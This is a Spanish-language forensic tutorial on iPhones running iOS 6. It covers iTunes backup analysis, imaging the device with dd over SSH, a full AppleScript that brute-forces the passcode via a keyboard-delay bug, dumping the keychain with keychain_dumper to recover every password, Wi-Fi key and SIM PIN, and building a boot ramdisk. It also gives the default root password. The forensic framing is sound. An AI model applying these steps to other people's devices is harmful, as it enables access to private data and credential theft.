Você está na página 1de 62

Anlisis Forense

Iphone

Carlos Rebollo

IDICE
Analisis del Backup ..................................................................................... 3
Copia bit a bit a travs de SSH .................................................................. 25
Atacar por fuerza bruta el passcode ......................................................... 32
Como crackear el keychain ....................................................................... 42
Accediendo al Iphone con Ramdisk .......................................................... 52

Analisis del Backup


Vamos a analizar el Backup que genera iTunes en el ordenador. Existen otros mtodos
para la extraccin de datos del iPhone como puede ser la copia ntegra del contenido
mediante el uso del comando dd a travs del ssh (requiere tener el jailbreak) pero lo
dejar para otra entrada futura.

1. Ubicacin de las copias de seguridad.


Dependiendo de si nuestro ordenador corre Mac OS o Windows se ubicar en sitios
distintos; a continuacin se muestra una tabla con las ubicaciones:

SISTEMA
OPERATIVO

Windows XP

Windows 7

UBICACIN

C:\Documents and Settings\[USUARIO]\Application


Data\Apple Computer\Mobile Sync\Backup\

C:\Users\[USUARIO]\AppData\Roaming\Apple
Computer\Mobile Sync\Backup\

Mac OS

Users/[USUARIO]/Library/Application Support/Mobile
Sync/Backup

Dentro de la carpeta Backup aparecen subcarpetas con nombres como este:


9f2df5d47_____________________a9c2cba7c (no voy a poner el mio entero jeje) que
es el UDID (Unique Device Identifier) que es un cdigo hexadecimal que se crea la
primera vez que se conecta el iPhone a iTunes y que lo identifica de manera nica.

Si accedemos a esta ruta y navegamos por las carpetas veremos solo que hay ficheros
con nombres muy extraos (que son el resultado de un hash) que no nos aclaran nada.

2. Ficheros importantes
Junto a esta cantidad de ficheros ilegibles aparecen 4 ficheros que si se pueden leer.
2.1 Info.plist:
Este fichero contiene multiple informacin sobre el dispositivo: IMEI, nmero de telfono,
nombre del dispositivo, nombre de todas las aplicaciones instaladas y dems
informacin.
Solo con este archivo, hemos obtenido ya mucha informacin clave.

2.2 Manifest.plist:
Este fichero contiene detalles de aplicaciones asi como una referencia a si el terminal
tiene el passcode activado y si el backup tiene cifrado

2.3 Status.plist:
Este fichero contiene informacin relativa al backup: Versin con que ha sido hecho,
fecha de realizacin y si el backup ha sido completo.

2.4 Manifest.mbdb:
Se trata de un fichero binario que contiene informacin sobre el resto de archivos del
backup: tamaos de ficheros, estructura de los datos, hashes SHA-1, etc

Como la informacin es un poco ilegible, vamos a pasar una herramienta creada por
Alejando Ramos (@aramosf) llamada listmanifest.pyque basndose en la estructura del
binario parsea el Manifest y imprime un .csv por pantalla que nos hace ms fcil la
lectura del fichero.
Tras pasar la herramienta, pegar el resultado en el excel y hacer un mnimo tratamiento
de los datos, nos ha quedado la siguiente tabla con informacin:

3. Traducir ficheros a nombres legibles


Estos titulos que no entendemos a priori aparecen porque Apple realiza un Hash SHA-1
a la ruta donde se aloje el fichero.
Para entenderlo vamos a mostrar un ejemplo.
Para la ruta HomeDomain-Library/AddressBook/AddressBookImages.sqlitedb Apple
ejecuta un SHA-1 y obtiene el valor: cd6702cea29fe89cf280a76794405adb17f9a0ee.

Mediante un diccionario muy grande con las rutas estndares se pueden retornar los
ficheros al formato original. Otra opcin es parsear el Manifest.mbdb y ya tenemos todas
las rutas
Existen aplicaciones para hacer estas conversiones, pero casi todas las que he probado
me han parecido un poco malas porque no son capaces de hacer la traduccin de todos
los datos con un solo click. Es necesario ir aplicacin por apliacin.
Dentro de los programas que he probado, el que ms me ha gustado ha
sido http://www.icopybot.com/itunes-backup-manager.htm que est slo disponible para
Mac y Windows ( es una lstima que no est para Linux =S ).

Seleccionas las aplicacion que quieras retornar al valor original y la extrae. iOS Files
congrega los ficheros del telfono y del sistema que se guardan en el Backup.
Como se ve en la imgen, es necesario ir aplicacin por aplicacin dando a extraer. Con
mucha paciencia se consigue traducir todo.
Finalmente nos quedan todas las carpetas organizadas y listas para ser abiertas y
tratadas.

Ahora os voy a mostrar las rutas de los ficheros ms interesantes de analizar as como
la estructura de los mismos y algunas aplicaciones para abrirlos.
4. Tipos de ficheros
Los tipos de ficheros que nos encontraremos sern los siguientes:
4.1 Sqlite:
Se trata de un tipo de base de datos que no necesita instalacin previa. En el propio
fichero de la base de datos est contenida toda la informacin.
Os dejo 2 links con ms informacin sobre la estructura interna de sqlite por si queris
echar un vistazo. No lvoy a ponerlo porque se podra hacer un Post entero solo
explicando esto.
http://www.sqlite.org/fileformat.html
http://forensicsfromthesausagefactory.blogspot.com.es/2011/05/analysis-of-recordstructure-within.html
4.2 Plist:
Es un tipo de fichero de propiedades que contiene informacin de aplicaciones y del
propio sistema.
Dejo otro link para ver la estructura interna del fichero.
https://developer.apple.com/library/mac/documentation/Darwin/Reference/ManPages/ma
n5/plist.5.html
5. Aplicaciones parar abrir los ficheros
El primer tipo de aplicaciones que debemos usar es un editor hexadecimal. Un editor
hexadecimal abre absolutamente cualquier fichero y nos lo muestra en bruto. De esta
manera siempre podemos visualizar el contenido del fichero aunque no aparezca de una
forma bonita.
Algunos que he encontrado por la web han sido:
- Es multiplataforma y me ha gustado mucho el diseo que
tiene: http://sourceforge.net/projects/wxhexeditor/
- Windows: http://www.hexedit.com/download.htm
- Mac OS: http://ridiculousfish.com/hexfiend/

- GNU/Linux: http://home.gna.org/bless/downloads.html
No est de ms que a parte de poder leer los datos en bruto tambin los leamos con
aplicaciones especficas para cada cosa, asi lo siguiente que vamos a necesitar es un
lector de sqlite
- El Multiplataforma que ms me ha
gustado: http://sourceforge.net/projects/sqlitebrowser/
- Windows: http://www.softpedia.es/programa-SQLite-Database-Browser-141732.html
- Linux: http://sqliteadmin.orbmu2k.de/
Como ltima aplicacin, no estara mal disponer de un lector especfico para archivos
.plist, ya que apple usa de forma muy habitual estos ficheros para almacenar
informacim
- Windows: http://www.icopybot.com/plist-editor.htm
- Mac OS: http://www.fatcatsoftware.com/plisteditpro/
- GNU/Linux: http://scw.us/iPhone/plutil/
6. Paths importantes
Las Rutas que muestro a continuacin han sido sacadas de un Backup de iOS en la
versin 6.1. Es posible que si se buscan estas mismas rutas en versiones anteriores o
futuras, no coincidan.
6.1 iOS Files
En la Carpeta iOS Files est concentrada la mayora de informacin a analizar.
6.1.1 Contactos
Los contactos son almacenados en una base de datos bicada en: /iOS
Files/Library/AddressBook/AddressBook.sqlitedb

Tambin podemos encontrar las imgenes pertenecientes a los contactos en: /iOS
Files/Library/AddressBook/AddressBookImages.sqlitedb

6.1.2 historial llamadas


El historial de llamadas lo podemos encontrar en: /iOS
Files/Library/CallHistory/call_history.db

6.1.3 SMS
Los SMS podemos encontrarlos en: /iOS Files/Library/SMS/sms.db

6.1.4 Notas
Las notas se encuentra ubicadas en: /iOS Files/Library/Notes/notes.db

6.1.5 Fotos
Las fotos son almacenadas en 2 carpetas. La ubicacin donde se almacenan cuando se
hacen es: /iOS Files/Media/DCIM/100APPLE

Si se tiene habilitada la opcin de subir a icloud estarn aqu: /iOS


Files/Media/PhotoStreamsData/

En el Fichero Photos.sqlite (/iOS Files/Media/PhotoData/Photos.sqlite) podemos


encontrar informacin sobre todas las fotos en el telfono.

6.1.6 Wifis
Poedmos ver los Wifis que tiene guardados el telfono mediante la
ruta: /iOSFiles/SystemConfiguration/com.apple.wifi.plist.

Una vez ubicados las principales bases de datos relativas al funcionamiento del telfono
pongo la ruta donde se encuentran aplicaciones que casi todo el mundo usa.

6.2 Whatsapp
La carpeta donde se encuentra la informacin de Whatsapp
es: /net.whatsapp.WhatsApp/
Ms concretamente, el fichero donde encontraremos las conversaciones es el
siguiente:/net.whatsapp.WhatsApp/Documents/ChatStorage.sqlite

Tambin podemos ver los contactos que tiene en la agenda de Whatsapp


en: /net.whatsapp.WhatsApp/Documents/Contacts.sqlite

Es posible tambin ver las fotos recibidas y descargadas en el iPhone a travs de la


aplicacin Whatsapp en:/net.whatsapp.WhatsApp/Library/Media

6.3 Line
La carpeta donde se encuentra la informacin de Line es: /jp.naver.line/
En concreto, las conversaciones quedan guardadas
en: /jp.naver.line/Documents/talk.sqlite

Copia bit a bit a travs de SSH


Despus de mostrar las rutas donde se almacenan los datos importantes voy a mostrar
como hacer una copia bit a bit del interior del iPhone.
Atencin: Esta tcnica solo funciona para las versiones anteriores al iPhone 4 ya que
Apple a partir de entonces introdujo un cifrado Hardware. Podemos extraer la imgen
igualmente pero hasta que no haya un criptoanlisis que lo rompa por ahora no
podremos abrirla.
1. Requisitos
1.1 Jailbreak
Para realizar esta copia es necesario tener realizado el Jailbreak al iPhone.

1.2 OpenSSH
Para poder conectarse al iPhone es necesario que ste, tenga habilitado OpenSSH.
Recordar que el par ususario/contrasea por defecto es: root / alpine.

1.3 Ordenador GNU/Linux con servidor ssh


El ordenador no es estrictamente necesario que tenga GNU/Linux instalado, pero en mi
caso lo prefiero para realizar el resto de tareas. Ms all del sistema operativo, es
necesario que tenga un servidor ssh. Para las personas que no sepan de distribuciones
GNU/Linux, pueden coger el Live-CD de Kali que podis descargar aqu. (Grabis la
ISO, y arrancis desde CD)

1.4 Misma Red wifi para ordenador y iPhone


Para que puedan comunicarse el ordenador y el iPhone es necesario que se encuentren
dentro de las misma subred (que en este caso es wifi) y que no haya un
antivirus/firewall/IPS que bloquee el trfico SSH a travs de ella.
Como se muestra en la imgen, la IP del iPhone es 192.168.1.6 .

2. Pasos previos
En mi caso, he realizado las pruebas con un iPhone 4S con versin iOS 6.1.1.

2.1 Conectar a la corriente el iPhone


Es muy recomendable conectar el iPhone a la corriente para que no nos quedemos sin
batera en medio de la copia.
2.2 Bloque automtico: Nunca
Tanto si el telfono tiene passcode como si no, vamos a modificar la frecuencia en que
se bloquea seleccionando Nunca. Este paso lo realizamos para que mientras se est
realizando la copia bit a bit a travs del wifi, el terminal no se bloquee y no se nos
desconecte de la red, dejndonos la copia a medias (me ha pasado varias veces
mientras hacia las pruebas =S).
Preferencias -> General -> Bloqueo automtico -> Nunca

2.3 Activando servidor SSH


Para aquellos que estis usando Kali u otro sistema operativo GNU/Linux que no tenga
el servidor SSH arrancado, tendris que hacerlo mediante los comandos:
Ver el status actual:

service ssh status

Arrancar:

service ssh start

Comprobacin de que el servidor SSH esta arrancado:

service ssh status

ssh 127.0.0.1

exit

3. Realizando la copia
3.1 Ping
Vamos a comenzar haciendo ping al iPhone para ver que es alcanzable desde la red wifi.

3.2 Cambio de contrasea root


Seguidamente vamos a establecer una conexin SSH con el iPhone para cambiar la
contrasea por defecto y que no nos afecten algunos de los virus que circulan por la red.
Para ello, una vez establecida la conexin a travs de ssh con la password alpine
tecleamos lo siguiente:

passwd

Introduciremos la nueva contrasea 2 veces, y ya tendremos nuestra propia contrasea


root en el iPhone y no la Defecto.

3.3 Copia de datos mediante dd


Vamos a proceder a realizar la copia bit a bit. Para ello vamos a usar el sencillo pero
potente comando dd. La idea es invocar el comando dd desde el iPhone haciendo una
llamada al ssh del ordenador destino. De esta manera la copia del iPhone se ir pasando
por wifi, a travs del protocolo ssh a nuestro ordenador.
El comando a teclear dentro del iPhone es el siguiente:

dd if=/dev/rdisk0 bs=4096 | ssh -C

<USUARIO>@<IP_DEL_PORTATIL_DESTINO> dd of=<NOMBRE_IMAGEN>.img

Utilizamos bs=4096 para determinar que la unidad de bloque lectura/escritura es de 4KB


(podramos usar otro tamao si queremos).
Usamos la opcin -C para comprimir los datos con gzip y as tardar menos en el proceso
(si disponemos de ms tiempo podemos realizarlo sin esta opcin).
Como se observa en la captura, el ordenador que va a recibir la imgen tiene la
IP 192.168.1.10

El proceso de copiado es bastante largo. En mi caso dur unas 2 horas siendo el iPhone
de 16GB, por lo que si vuestro almacenamiento es superior tendris que tener bastante
paciencia.

Atacar por fuerza bruta el passcode


Existen varios mtodos para crackear el passcode pero por ahora este es el nico que
me ha funcionado. A medida que profundice en los dems y los pruebe, ir escribiendo
como realizarlos paso a paso.
1. Requisitos
1.1 Ordenador con Mac OS X
Para automatizar el proceso de introduccin de cdigos se ha usado un Script hecho en
AppleScript (es un programa para hacer scripts de forma secilla que corre bajo OS X).
Se podra hacer un script similar usando rutinas de Windows.

1.2 Type2Phone
Es la aplicacin que usaremos de puente entre el teclado del mac y el del iPhone.
Cuesta 4,99

1.3 Bluetooth del iPhone activado y emparejado con el ordenador.


Para que el teclado del mac se pueda emparejar con el del iPhone es necesario conectar
los dispositivos entre s a travs de bluetooth.

2. Pasos previos
Tal como coment en la parte tercera, he realizado las pruebas con un iPhone 4S en
versin 6.1.1 de iOS.

2.1 Conectamos iPhone por bluetooth y ejecutamos Type2Phone


Empezamos emparejando el iPhone al ordenador por bluetooth.

2.2 Prueba de concepto


El mtodo se aprovecha de un bug (que por lo menos est presente hasta la 6.4) que
tras conectar un teclado al iPhone, si introducimos varias veces mal un passcode dentro
de los Ajustes NO surte efecto el Delay (de esperar 1, 15, 60, min) que el iPhone
introduce cuando metemos mal ms de 5 veces el cdigo.
La tcnica del Delay sirve entre otras cosas es para no poder hacer un ataque de fuerza
bruta. Sin esta proteccin sacar el passcode es solo cuestin de tiempo.
Vamos a empezar haciendo una prueba de concepto en el que introduciremos mal la
contrasea unas 20 veces (mediante el teclado del mac) y veremos como el telfono nos
dejar seguir insertando cdigos sin problema.
Abrimos las preferencias del programa y desactivamos la opcin de Desconectar
cuando este en segundo plano y que cuando este 5 minutos desocupado (esta
segunda para mayor comodidad mientras preparamos las cosas).

La ruta que es vulnerable al ataque es: Preferencias -> General -> Bloqueo con cdigo
Tras escribir bastantes combinaciones de cdigos a travs del teclado vemos como la
restriccin de tiempo que se muestra por pantalla NO es efectiva ya que podemos seguir
tecleando.
Sin embargo la restriccin de tiempo SI es real para la entrada por pantalla, ya que nos
nos dejar teclear nada a travs de ella (que no sea el botn cancelar).

3. Fuerza Bruta
Una vez funcionando la prueba de concepto, vamos a automatizar el proceso de
introducir nmeros.
3.1 AppleScript
Crhis Russell ha desarrollado este Script que hace esta funcin.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

-- Author Chris Russell


-- This script is designed to brute force the restrictions passcode
-- on iPhone
-- Assumptions:
-Blutooth is enabled
-Type2Phone App is running and connected to your phone (avail
-- on Mac App Store)
-- iPhone is switched on and on the restrictions passcode screen
-- (General - Restrictions)
global pinCodeDigit1
global pinCodeDigit2
global pinCodeDigit3
global pinCodeDigit4
set
set
set
set

pinCodeDigit1
pinCodeDigit2
pinCodeDigit3
pinCodeDigit4

to
to
to
to

0
0
0
0

on keyStrokeNumber(num)
if (num = 0) then
tell application "System
else if (num = 1) then
tell application "System
else if (num = 2) then
tell application "System
else if (num = 3) then
tell application "System
else if (num = 4) then
tell application "System
else if (num = 5) then
tell application "System
else if (num = 6) then
tell application "System
else if (num = 7) then
tell application "System
else if (num = 8) then

Events" to keystroke "0"


Events" to keystroke "1"
Events" to keystroke "2"
Events" to keystroke "3"
Events" to keystroke "4"
Events" to keystroke "5"
Events" to keystroke "6"
Events" to keystroke "7"

31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67

tell application "System Events" to keystroke "8"


else if (num = 9) then
tell application "System Events" to keystroke "9"
end if
end keyStrokeNumber
to incrementPIN()
if (pinCodeDigit4
if (pinCodeDigit3
if (pinCodeDigit2
set pinCodeDigit1
set pinCodeDigit2
set pinCodeDigit3
set pinCodeDigit4
else
set pinCodeDigit2
set pinCodeDigit3
set pinCodeDigit4
end if
else
set pinCodeDigit3
set pinCodeDigit4
end if
else
set pinCodeDigit4
end if
end incrementPIN

= 9) then
= 9) then
= 9) then
to pinCodeDigit1 + 1
to 0
to 0
to 0
to pinCodeDigit2 + 1
to 0
to 0
to pinCodeDigit3 + 1
to 0
to pinCodeDigit4 + 1

to tryPin()
keyStrokeNumber(pinCodeDigit1)
keyStrokeNumber(pinCodeDigit2)
keyStrokeNumber(pinCodeDigit3)
keyStrokeNumber(pinCodeDigit4)
delay 1
end tryPin
try
event ascrgdut
end try
-- main application, simple
tell application "Type2Phone" to activate
repeat 10000 times
tryPin()
incrementPIN()
end repeat

Si leemos el cdigo del Script vemos que primero ejecuta la aplicacin type2phone y
seguidamente introduce directamente a la aplicacin las 10.000 combinaciones posibles
con un delay de 1 segundo entre cada una de ellas. He hecho pruebas bajando
esedelay y con 0.5 segundos el sistema responde bien y tarda la mitad de tiempo. No lo
bajis ms porque en una prueba a 0.1 seg. he tenido que apagar el ordenador de botn
ya que el teclado no responda y no poda parar el Script.
Pegamos el cdigo en AppleScript

Antes de hacer Fuerza bruta sobre el objetivo vamos a ver el resultado de ejecutar el
cdigo sobre el Bloc de Notas:

Delay

Numero de cdigos

Tiempo mximo

10.000

2:46:40 horas

0.5

10.000

1:23:20 horas

0.3

10.000

0:50:00 horas

1.000

0:16:40 horas.

0.5

1.000

0:8:20 horas.

0.3

1.000

0:5:00 horas.

Una vez visto que funciona nos posicionamos en la Ruta Preferencias -> General ->
Bloqueo con cdigo y ejecutamos el Script para comenzar la fuerza brutal.
En la aplicacin type2phone veremos como van pasando todas las combinaciones una a
una.
El mtodo tiene un pequeo problema y es que cuando encuentra el cdigo no nos avisa
ni lo muestra por pantalla; simplemente accederemos a las opciones de cdigo de las
preferencias. Dentro de lo malo, con que sepamos por donde ha caido ms o menos el
passcode podemos hacer un sondeo posterior a mano por los cdigos cercanos.
De esta manera el tiempo que tardaremos en encontrarlo es:
Otra opcin de bsqueda puede ser ejecutar el cdigo haciendo barridos de 1000 en
1000. De esta manera solo tendremos que estar atentos al millar en el que se muestre la
imgen de abajo.

Como crackear el keychain


1. Teora sobre Keychain
1.1 Qu es el Keychain?
El keychain es contenedor cifrado (AES-128) con estructura sqlite que almacenada gran
cantidad de datos sensibles del usuario como la identidad y las contraseas de
aplicaciones. Su finalidad es almacenar la mayora de contraseas del dispositivo para
que el telfono no nos pida las credenciales cada vez que arrancamos una aplicacin o
servicio.
Si un desarrollador necesita guardar datos sensibles del usuario, tiene dos mtodos para
realizarlo: el primero consiste en guardar los datos en el Keychain, lo cual delega toda la
proteccin a la seguridad de iOS o puede implementar un mtodo propio de cifrado (caso
muy poco habitual) dentro de la aplicacin. Si una aplicacin usa este segundo mtodo,
al no almacenarse los datos dentro del Keychain, no podremos acceder a las
credenciales mediante este crackeo.
Por ltimo comentar que hay aplicaciones que guardan las credenciales en texto plano
dentro de un .plist. Este sera el peor mtodo para mantenerlas a salvo porque
analizando los backups se podra leer perfectamente la contrasea.
1.2 Cmo est estructurado?
Hasta iOS 6.1.1 (es la versin donde hago las pruebas, pero creo que funciona en toda
las versiones 6.X) el Keychain contiene 5 tipos de datos almacenados en 4 tablas. La
tabla genp contiene generic passwords, inet contiene passwords de internet, cert y
keys contiene certificados, claves e identidades; una identidades est formadas por un
par cert-key.

1.3 Como funciona el Keychain


El Keychain es una aplicacin separada de las dems y protegida por iOS con la que el
resto de aplicaciones se comunica para almacenar y leer informacin sensible.
Esta comunicacin (o lectura de datos) solo puede hacerse por parte de una aplicacin a
las zonas del llavero donde tenga acceso. Inicialmente solo se tena acceso a los datos
de la propia aplicacin, pero dada la necesidad de compartir algunos datos entre varias
aplicaciones se crearon los grupos de acceso del Keychain, de tal manera que un dato
pueda ser compartido por varias aplicaciones.
La forma con la que se valida si una aplicacin tiene acceso o no a un dato, o si
pertenece a un grupo de acceso (Keychain_dumper se aprovecha de manipular estos
datos de acceso) es leyendo los derechos de firma de cdigo de la aplicacin. En
concreto las etiquetas importantes en este proceso son application-identifier que
permite acceso a los datos de la propia aplicacin y keychain-access-groups que valida
elementos de los grupos de aplicacin. Estos datos se encuentran en los binarios de las
aplicaciones y son accesibles a travs del SSH si se tiene el Jailbreak hecho.

code sign entitlement


1
2
3
4
5
6
7
8
9
10
11
12

<dict>
<key>keychain-access-groups</key>
<array>
<string>8KM394JM3R.com.getdropbox.DropboxKeychainFamily</string>
</array>
<key>application-identifier</key>
<string>8KM394JM3R.com.getdropbox.Dropbox</string>
<key>aps-environment</key>
<string>production</string>
</dict>

1.4 El ataque
Patrick Tommey ha creado la herramienta Keychain_dumper que es una aplicacin que
ha sido firmada con unafirma de cdigo retocada. En el campo keychain-accessgroups se ha puesto el operador * que hace que se valide contra cualquier keychainaccess-groups que haya.

entitlements.xml
1
2
3
4
5
6
7
8
9
10

<?xml version="1.0" encoding="UTF-8"?>


<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/
<plist version="1.0">
<dict>
<key>keychain-access-groups</key>
<array>
<string>*</string>
</array>
</dict>
</plist>

2. Requisitos
Los reqisitos que se citan a continuacin son para realizar la parte prctica tal como yo la
he hecho. Se puede usar un ordenador Windows con la aplicacin Putty para subir el
fichero por ftp sin problema.
2.1 Ordenador con GNU/Linux o Mac OS
En mi caso he hecho las pruebas tanto en Kali Linux como con Mac OS porque ambos
disponen de cliente SSH nativo y porque son ms flexibles que Windows.

2.2 Jailbreak + OpenSSH


Para realizar este ataque es necesario que el telfono tenga hecho el jailbreak y
instalado OpenSSH.
Tal y como cont en Posts anteriores, la versin de iOS sobre la que realizo las pruebas
es la 6.1.1

2.3 Estar conectado a la misma red Wifi


Al igual que en Posts anteriores, es necesario que el iPhone y el ordenador estn dentro
de la misma subred para poder realizar la conexin SSH.

3. Prctica
3.1 Subir fichero keychain_dumper
Se puede descargar la carpeta con los fuentes y un binario keychain_dumper
desde aqu. Solo es necesario subir el binario; el resto de ficheros vienen por si
queremos realizar nosotros el proceso de firma del cdigo.
Para subir el fichero al iPhone podemos usar el comando de unix scp o un cliente SFTP
(no es ms que un FTP apuntando al puerto 22 de SSH).
En mi caso lo he subido usando scp mediante estos sencillos comandos:

cdigo subir keychain_dumper


1
2
3

scp keychain_dumper root@<ip_iphone>:


ssh root@<ip_iphone>
chmod 777 keychain_dumper

3.2 Ejecutamos y nos envamos el resultado a nuestro ordenador


Una vez subida la aplicacin al telfono, solo queda ejecutarla. Para que nos saque toda
la informacin vamos a llamarla con la opcin -a (all) y la vamos a redirigir a un fichero
llamado por ejemplo llavero.

./keychain_dumper -h (opciones de keychain_dumper)


Usage: keychain_dumper [-e]|[-h]|[-agnick]
1
<no flags>: Dump Password Keychain Items (Generic Password, Internet
2
Passwords)
3
-a: Dump All Keychain Items (Generic Passwords, Internet Passwords,
4
Identities, Certificates, and Keys)
-e: Dump Entitlements
5
-g: Dump Generic Passwords
6
-n: Dump Internet Passwords
7
-i: Dump Identities
8
-c: Dump Certificates
9
-k: Dump Keys
Ahora vamos a realizar el proceso inverso, vamos a subir el fichero llavero del iPhone a
nuestro ordenador mediante la ejecucin de otro comando scp.

ejecucin keychain_dumper y subida de resultado


1
// Ejecutamos keychain_dumper
2
./keychain_dumper -a > llavero
3
//Lo subimos al ordenador
4
scp llavero <ususario>@<ip_ordenador>:/
5

3.3 Analizando los datos


Una vez que tenemos el fichero en nuestro ordenador solo queda analizarlo y comprobar
que todos los usuarios y contraseas estn en texto plano. Para ver un ejemplo he
sacado varias capturas a distintas partes del fichero llavero.

OJO: Si un atacante llega a ver todo esto... la hemos liado pero bien
3.3.1 Claves de correo
Todas las claves de correo quedarn expuestas en texto plano junto con credenciales de
otras pginas web que hayamos guardado.

3.3.2 Claves de Wifi


Se pueden listar todas las wifis a las que se ha conectado el iPhone a lo largo de toda su
vida. Para borrar una red wifi de las preferencias (y que no apareciera en el keychain)
es necesario primeramente conectarse a ella y despus pulsar sobre omitir esta
red; esta idioted que introduce Apple hace que no sea viable borrar las redes wifis a las
que nos hemos conectado (y estemos enviando constantemente probes con todos los
nombres) ya que para hacerlo tendramos que recorrernos sitio por sitio todos los lugares
fsicos donde estn todas las wifis e ir borrando una a una.

Gracias Apple por hacernos ms trazables, si cabe.

3.3.3 Cdigo PIN de la SIM


Entre todas las claves que se guardan se encuentra el cdigo PIN de la tarjeta sim. Es
cierto que cada vez ms, la mayora de Smartphones almacenan ms y ms datos de
comunicaciones (SMS, llamadas, agenda, ) en el propio telfono en vez de en la SIM,
pero no deja de ser un dato importante de cara a realizar/recibir llamadas, enviar MMS,
etc..

No he hecho ms capturas porque no lo he visto necesario(hay mucha informacin


sensible). Entre la informacin podemos encontrar tambin certificados de pginas SSL,
contraseas de aplicaciones (dropbox, etc..) y un sin fn de claves ms.
Como conclusin se nos debe quedar que si hacemos el Jailbreak al iPhone y tenemos
instalado Open SSH: TENEMOS QUE CAMBIAR LA CONTRASEA por defecto ROOT
(alpine) y MOBILE (dottie).

Accediendo al Iphone con Ramdisk


Ahora voy a hablar sobre un mtodo para acceder al iPhone (<= iPhone 4; a partir del
Chip A5 sin el jailbreak no se puede) a travs de un disco de arranque modificado.
1. Teora sobre el RamDisk
La idea de usar un RamDisk en concepto es muy similar a la de arrancar una disrtibucin
en modo liveCD y urgar en el OS instalado dentro del disco duro.
El iPhone dispone solo de 1 puerto abierto por defecto. Vamos a conectarnos por USB y
a travs del puerto abierto introduciremos el sistema operativo modificado.
Cuando el iPhone arranca pasa a travs de una cadena de elementos con firmas publico
privada (RSA) que verifican que su siguiente paso sea legtimo. El primer paso de la
secuencia es el BootROM, una memoria de solo lectura que contiene todos los
certificados raz y verifica si el cdigo es legtimo o no y dar paso a la siguiente etapa de
la cadena de confianza. Se dice que los mejores exploits iPhone son los de BootROM,
ya que un fallo encontrado en este comprobador de arranque har vulnerables a todos
los iPhones hasta el momento y no podr arreglarse va Software.
Para entender ms en profundida el funcionamiento, veremos los 3 mtodos de arranque
de que dispone iPhone: modo normal, modo DFU y modo restauracin (todos ellos
comienzan con el BootROM).
1.1 Modo normal
En este mtodo, el BootROM inicializa y carga el low level bootloader (LLB) trs verificar
su firma.
La firma LLB comprueba y carga la segunda fase del arranque (iBoot)
La firma iBoot comprueba el Kernel y el arbol del dispositivo mientras que la firma del
Kernel comprueba las aplicaciones.

1.2 Modo DFU (en este se realiza el ataque)


En este mtodo el BootROM tras arrancar comprueba los cargadores de arranque de
segundo nivel (iBSS y iBEC).
La firma del cargador de arranque comprueba el Kernel, mientras que el Kernel
comprueba el RamDisk.

Como vemos, toda la cadena de firmas nos impide modificar cualquier elemento
intermedio. La comunidad hacker ha conseguido algunos exploits para ciertas versiones
del BootROM que son los que usaremos para flashear el arranque y modificarlo para que
arrnaque nuestra propio RamDisk.
1.3 Modo Recuperacin
Aqu se muestra la secuencia de arranque en modo recuperacin.
No voy a explicar paso a paso las fases ya que no es muy importante, pero tal como se
ve en el esquema, es similar al del arranque normal.

2. Requisitos Instalando dependencias


A continuacin paso a describir tanto los requisitos como la instalacin de libreras y
dependencias consiguientes.
2.1 Requisitos:
iPhone 3G, iPhone 3GS, iPhone 4, iPad 1, iPod Touch 2G, 3G y 4G. En mi caso he
pedido un iPhone 4 a un amigo para hacer la prueba.

Mac OS X >= 10.6. Como en casos anteriores, he usado un iMac con Mac OS X 10.8.4.

2.2 Instalando dependencias:


He seguido las instrucciones que tiene el README de dataproteccion pero he tenido
problemas con dependencias al instalar alguna aplicacin. Paso a poner los pasos que
he realizado para eliminar las dependencias:
El primer paso que vamos a hacer es instalar Xcode (se busca y se instala en la
AppStore).
Despus de instalar Xcode es necesario instalar un plugin. Para ello una vez arrancado
pulsamos cmd + , y damos al botn instalar en Command Line Tools

INSTALLING DEPENDENC IES IPHONE-DATAPROTECTION (MAC OS X) V2 (UPDATE SEP .


2013)

Para coger experiencia usando el terminal vamos a hacer toda la instalacin desde l.

iPhone-dataprotection (Mac OS X) V2
1

#Nos vamos a la carpeta de descargas para tenerlo todo organizado

cd Downloads

3
4
5
6

#Descargamos ldid (programa para firmar cdigo)


curl -O http://networkpx.googlecode.com/files/ldid
chmod +x ldid<br />sudo mv ldid /usr/bin

7
#Descargamos FUSE for OS X

8
9

curl -O L
http://sourceforge.net/projects/osxfuse/files/osxfuse-2.6.1/osxfuse-2.6.1.dmg

10

hdiutil mount osxfuse-2.6.1.dmg

11

sudo installer -pkg /Volumes/FUSE\ for \ OS\ X/Install\ OSXFUSE\ 2.6.pkg

12

-target /

13

hdiutil eject /Volumes/FUSE\ for \ OS\ X/

14
15
16

#Instalamos dependencias de M2crypto (depende de SWIG,


y SWIG depende de pcre)

17
18
19

#Instalamos pcre ya que es una dependencia de SWIG


curl -O L
http://sourceforge.net/projects/pcre/files/pcre/8.33/pcre-8.33.zip

20
21

unzip pcre-8.33.zip
cd pcre-8.33

22

./configure

23

sudo make install

24

cd ..

25
26

#Una vez tenemos instalado pcre, instalamos SWIG que es una

27

dependencia de M2crypto

28

curl -O L

29
30

http://sourceforge.net/projects/swig/files/swig/swig-2.0.11/swig-2.0.11.tar.gz
tar -xzvf swig-2.0.11.tar.gz
cd swig-2.0.11

31
32
33
34

./configure
sudo make
sudo make install
cd ..

35
36

#Despus de instalar las dependencias, instamos M2crypto

37

con construct, progressbar, setuptools

38

sudo heasy_install M2crypto construct progressbar setuptools

39
40
41

#Instalamos libreria pycrypto


sudo ARCHFLAGS='-arch i386 -arch x86_64' easy_install pycrypto

42
43

#Ahora instalamos Mercurial


curl -O
http://mercurial.selenic.com/mac/binaries/Mercurial-2.7.1-py2.7-macosx10.8.zip
unzip Mercurial-2.7.1-py2.7-macosx10.8.zip
cd mercurial-2.7.1_20130905-py2.7-macosx10.8
sudo installer -pkg mercurial-2.7.1+20130905-py2.7-macosx10.8.mpkg
-target /

Respecto a los comandos originales he realizado los siguientes cambios:


- Se instala la ltima versin de OSXFUSE
- Pcre ha sido instalado porque sin el no era posible ejecutar SWIG.
- SWIG ha sido instalado para poder instalar M2crypto.
- Se instala Mercurial

3. Construyendo el Ramdisk & Kernel


Para construir el Ramdisk vamos a descargar la ltima versin de iphone-dataprotection
del respositorio (hace mucho que no se actualiza pero es lo que hay). Podis
descargarlo a mano desde esta web.

Descargando iPhone-dataprotection
1

hg clone https://code.google.com/p/iphone-dataprotection/

cd iphone-dataprotection

make -C img3fs/

Una vez descargado el pack de herramientas, necesitamos descargar redsn0w para


